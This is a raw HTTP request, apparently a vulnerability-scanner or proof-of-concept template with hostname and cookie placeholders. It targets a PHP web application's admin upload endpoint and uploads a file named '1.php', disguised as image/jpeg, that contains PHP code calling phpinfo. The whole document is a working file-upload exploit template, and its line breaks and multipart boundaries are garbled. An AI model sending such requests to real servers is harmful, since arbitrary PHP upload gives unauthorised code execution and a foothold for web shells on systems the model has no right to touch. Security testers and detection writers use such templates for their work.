POST /index.php/admin/upload_files/upload.html?&water=0 HTTP/1.1Host: {{Hostname}}Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cookie: {{cookie}}Connection: keep-aliveContent-Type: multipart/form-data; boundary=----xxxxxxxxx ------xxxxxxxxContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg <?php phpinfo();?>------xxxxxxxx--